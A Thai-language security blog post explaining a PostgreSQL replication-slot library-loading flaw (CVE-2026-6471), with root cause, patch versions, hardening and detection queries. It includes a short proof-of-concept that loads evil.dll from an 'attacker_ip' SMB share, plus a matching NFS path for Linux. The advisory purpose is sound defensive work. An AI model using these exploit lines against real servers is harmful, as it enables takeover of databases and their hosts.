สวัสดีครับทุกคน กลับมาพบกับบทความจากทีมงาน Datafarm อีกครั้งนะครับ
ย้อนกลับไปไม่นานมานี้ มีข่าวใหญ่ในวงการ Cybersecurity และ Database Administration เมื่อทีมวิจัย security จาก Cyera ได้เปิดเผยช่องโหว่ระดับสำคัญของ PostgreSQL ซึ่งเป็นโอเพนซอร์สฐานข้อมูลที่นิยมที่สุดอันดับต้นๆ ของโลก (ถูกใช้โดยยักษ์ใหญ่อย่าง Netflix, Instagram, Spotify และ Uber)
ช่องโหว่นี้ถูกตั้งชื่อว่า “PostGREShell” หรือรหัส CVE-2026–6471 ที่น่าตกใจคือมันซ่อนอยู่ใน Source Code ของ PostgreSQL มายาวนานถึง 12 ปี (ตั้งแต่เวอร์ชัน 9.4 ที่ปล่อยออกมาเมื่อปี 2014) วันนี้ผมจะพามาเจาะลึกกันว่าช่องโหว่นี้คืออะไร ทำงานอย่างไร และเราจะป้องกันระบบของเราได้อย่างไรครับ
PostGREShell (CVE-2026–6471) คืออะไร?
CVE-2026–6471 เป็นช่องโหว่ประเภท Arbitrary Code Execution / Code Injection ที่เปิดโอกาสให้ผู้ใช้งานที่มีสิทธิ์เพียง REPLICATION (สิทธิ์ระดับต่ำ มักจะใช้สำหรับบัญชี Backup, CDC หรือ Data Pipeline) สามารถข้ามผ่านระบบรักษาความปลอดภัย (Security Check) และสั่ง dlopen / LoadLibrary เพื่อโหลด Shared Library (.so หรือ .dll) ที่เป็นอันตรายเข้ามารันในProcess ของ PostgreSQL ได้ทันที
ผลลัพธ์คือ แฮกเกอร์จะสามารถยกระดับสิทธิ์ (Privilege Escalation) จากบัญชีสำรองข้อมูลธรรมดา ไปเป็น PostgreSQL Superuser และยึดเครื่องเซิร์ฟเวอร์ (Remote Code Execution) ได้โดยสมบูรณ์ พร้อมทั้งฝัง Backdoor แบบถาวรได้ทันทีครับ
เจาะลึกทางเทคนิค: ทำไมช่องโหว่นี้ถึงซ่อนอยู่นานถึง 12 ปี?
ต้นเหตุของช่องโหว่นี้เกิดจากฟีเจอร์ที่เรียกว่า Logical Decoding (ฟีเจอร์สำหรับอ่านการเปลี่ยนแปลงของข้อมูลใน Write-Ahead Log หรือ WAL เพื่อส่งต่อไปยังระบบอื่น)
ปกติแล้ว PostgreSQL จะมีฟังก์ชันรักษาความปลอดภัยที่ชื่อว่า check_restricted_library_name() คอยตรวจสอบว่าผู้ใช้ทั่วไป (Non-superuser) ที่สั่ง LOAD 'library_name' จะต้องโหลดไฟล์จาก Directory ที่แอดมินอนุญาตเท่านั้น ห้ามใส่ Path แบบ Absolute หรือใช้ Directory Traversal (../) เด็ดขาด
จุดที่ผิดพลาด (The Root Cause): เมื่อผู้ใช้สร้าง Logical Replication Slot ผ่านคำสั่ง SQL:
CREATE_REPLICATION_SLOT slot_name LOGICAL 'plugin_name'
ผู้พัฒนาในอดีตลืมนำตัวแปร plugin_name เข้าผ่านฟังก์ชันตรวจสอบสิทธิ์ (check_restricted_library_name()) ทำให้ระบบไปเรียก dlopen() หรือ LoadLibrary() โดยตรงตามชื่อที่ผู้ใช้ส่งมาทันที
เทคนิคการ Exploit บนแต่ละ OS:
Windows สามารถโหลดไฟล์ผ่าน UNC Path Over SMB (Port 445) ได้โดยตรง แฮกเกอร์เพียงแค่รัน SMB Server บนเครื่องของตัวเอง แล้วส่งคำสั่งสร้าง Replication Slot ชี้ไปยัง UNC Path ของตนเอง
ตัวอย่าง PoC สั้นๆ แค่ 3 บรรทัด
conn = psycopg2.connect(..., replication="database") conn.cursor().execute('CREATE_REPLICATION_SLOT x LOGICAL "\\\\attacker_ip\\share\\evil.dll"')
PostgreSQL บน Windows จะทำการดึง evil.dll ผ่านเครือข่ายมารันใน Memory ทันทีโดยไม่ต้องเขียนไฟล์ลงบน Disk ของเป้าหมายแม้แต่ไฟล์เดียว!
Linux / macOS (ผ่าน Network Mount หรือ Local File Placement): หากระบบมีการเปิดใช้งาน autofs / NFS automount แฮกเกอร์สามารถใช้ Path Traversal เช่น /net/attacker_ip/share/evil.so เพื่อสั่งให้ระบบ Mount ไฟล์อันตรายผ่านเครือข่ายเข้ามา หรือหากแฮกเกอร์เขียนไฟล์หล่นไว้ในระบบได้แล้ว (เช่น โฟลเดอร์ /tmp) ก็สามารถใช้ Path Traversal ชี้ไปที่ไฟล์นั้นเพื่อสั่งExecute Code ได้ทันที
ทำไม CVSS 7.2 แต่ความเสี่ยงจริงกลับสูงมาก?
ในฐานข้อมูล NVD / PostgreSQL มีการให้คะแนน CVSS v3 ไว้ที่ 7.2 (Important/High) ไม่ใช่ 9.8 (Critical) เนื่องจากเงื่อนไขที่ว่า _“_ผู้โจมตีต้องมีสิทธิ์ REPLICATION อยู่แล้ว”
แต่ในมุมมองของสาย Offensive / Red Team ผมมองว่าความเสี่ยงในสภาพแวดล้อมจริง สูงมาก ด้วยเหตุผลดังนี้:
- สิทธิ์ REPLICATION มักจะถูกปล่อยหลวม: บัญชีที่มีสิทธิ์
REPLICATIONมักจะถูกแจกจ่ายให้กับเครื่องมือภายนอก เช่น สคริปต์ Backup, Kafka Connector, Debezium หรือเครื่องมือ ETL ต่างๆ ซึ่งมักจะถูกจัดเก็บบนคอนฟิกไฟล์ของแอปพลิเคชันอื่น และไม่ได้ถูกเฝ้าระวังเข้มงวดเท่ากับสิทธิ์SUPERUSER - การโจมตีข้ามขอบเขต (Lateral Movement): หากแฮกเกอร์เจาะเครื่องแอปพลิเคชันรองได้ และเจอ Credential สำหรับทำ Replication แค่เพียงสิทธิ์เดียว ก็สามารถยึด Primary Database ทั้งลูกได้ทันที
- ส่งผลกระทบย้อนหลังทุกเวอร์ชัน: กระทบ PostgreSQL เวอร์ชันตั้งแต่ 9.4 ไปจนถึงเวอร์ชันล่าสุดที่ยังไม่ได้ Patch
เวอร์ชันที่ได้รับผลกระทบ & วิธีการแก้ไข (Mitigation)
- อัปเดต Patch ทันที (Recommended)
ให้รีบอัปเดต PostgreSQL ไปยัง Minor Release ที่อัปเดตแก้ไขช่องโหว่นี้แล้ว:
- PostgreSQL 18 อัปเดตเป็น 18.6 ขึ้นไป
- PostgreSQL 17 อัปเดตเป็น 17.11 ขึ้นไป
- PostgreSQL 16 อัปเดตเป็น 16.15 ขึ้นไป
- PostgreSQL 15 อัปเดตเป็น 15.19 ขึ้นไป
- PostgreSQL 14 อัปเดตเป็น 14.24 ขึ้นไป (สำหรับเวอร์ชัน 13 หรือต่ำกว่านั้น ถือว่า End-of-Life แล้ว ต้องทำการ Upgrade Major Version เท่านั้น)
2. ตรวจสอบและจำกัดสิทธิ์ (Hardening & Auditing)
ตรวจสอบว่ามี User คนไหนได้สิทธิ์ REPLICATION อยู่บ้าง ด้วยคำสั่ง:
SELECT usename FROM pg_user WHERE rolreplication = true;
- หากพบ User ที่ไม่มีความจำเป็น ให้ยกเลิกสิทธิ์ทันที
- หากไม่มีความจำเป็นต้องใช้ Logical Replication ให้พิจารณาปิดฟีเจอร์นี้โดยการปรับค่า
wal_levelในpostgresql.confไม่ให้เป็นlogical - Network Segmentation: บล็อกการเชื่อมต่อ Outbound พอร์ต SMB (445) และ NFS (2049) จาก Database Server ออกไปยังภายนอก เพื่อป้องกันเทคนิค UNC Path Injection บน Windows และ NFS Automount บน Linux
3. การตรวจสอบร่องรอยการโจมตี (Threat Hunting / Detection)
สามารถตั้ง query ตรวจสอบชื่อ Plugin ที่ถูกสร้างใน pg_replication_slots ว่ามีลักษณะ Directory Traversal หรือไม่:
SELECT slot_name, plugin FROM pg_replication_slots WHERE plugin LIKE '%/%' OR plugin LIKE '%\%';
สรุป
กรณีของ PostGREShell (CVE-2026–6471) เป็นตัวอย่างคลาสสิกที่เตือนใจพวกเราว่า ช่องโหว่ความปลอดภัยมักจะซ่อนอยู่ในส่วนต่อขยาย (Plugin/Extension) หรือการเช็คสิทธิ์ที่ไม่ครอบคลุมทุก API และบัญชีที่คิดว่า “มีสิทธิ์แค่สำรองข้อมูล” ก็อาจถูกใช้เป็นช่องทางในการยึดระบบได้หากขาดการตรวจสอบที่ดี
หากใครมีคำถามหรือข้อสงสัย สามารถคอมเมนต์พูดคุยกับพวกเราได้เลยครับ
Reference:
Cyera Research (Original Researcher & Vulnerability Discrever):
PostgreSQL Official Security Advisory:
NIST National Vulnerability Database (NVD):
SecPod Security Research:
The Hacker News & SecurityWeek Analysis: